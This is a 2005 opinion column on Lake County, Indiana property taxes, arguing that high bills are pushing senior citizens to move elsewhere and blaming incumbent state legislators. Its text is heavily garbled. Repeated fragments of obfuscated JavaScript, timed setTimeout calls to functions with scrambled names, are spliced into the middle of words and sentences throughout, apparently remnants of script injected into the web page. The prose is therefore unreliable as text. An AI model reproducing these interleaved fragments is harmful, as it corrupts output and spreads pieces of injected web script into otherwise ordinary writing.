By Woodrow Wilcox
A few years ago, a new movie named “Leaving Las Vegas” was in theaters. Maybe a reality television show about “Leaving Lake County” would be appropriate now.
This week, I met another senior citizen who decided dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave Lake County because of the high property taxes in her neighborhood.
“I could stay here dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and keep paying the property taxes, but it would be a struggle,” she dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told me. “But, at my age, why should I struggle like that when I can move dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and end the hassle?”
Two years ago, I warned local business leaders who served senior citizens that the high property taxes that were coming would significantly reduce the senior citizen population of Lake County dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, thus, their client base. Many of those local business leaders laughed at me then. They are not laughing now.
The senior citizen that dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told me that she was leaving Lake County, Indiana, said that she had bought a home in Campbellsville, Kentucky for $79,000 that had a property tax bill of only $500. That property tax bill is significantly lower than what she faced in Lake County. But, you don’t need dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to move dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Kentucky dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save on property tax bills.
My mother checked with our cousins in other parts of the state dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn their property tax burdens. One cousin in Seymour, Indiana has the same size home as my mother in a dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town with the same population as Griffith where my mother lives. But, the cousin’s property tax bill is less than 25 percent of my mother’s property tax bill in Griffith.
I hope that those senior citizens who remain in Lake County, but don’t like the high property tax bills, will remember that every one of Lake County’s incumbent state legisladom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors voted for the two laws that created the Lake County property tax crisis. When those legisladom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors run for re-election, I hope that a majority of voters will remember what they did dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create the Lake County property tax crisis.
© 2005 Woodrow Wilcox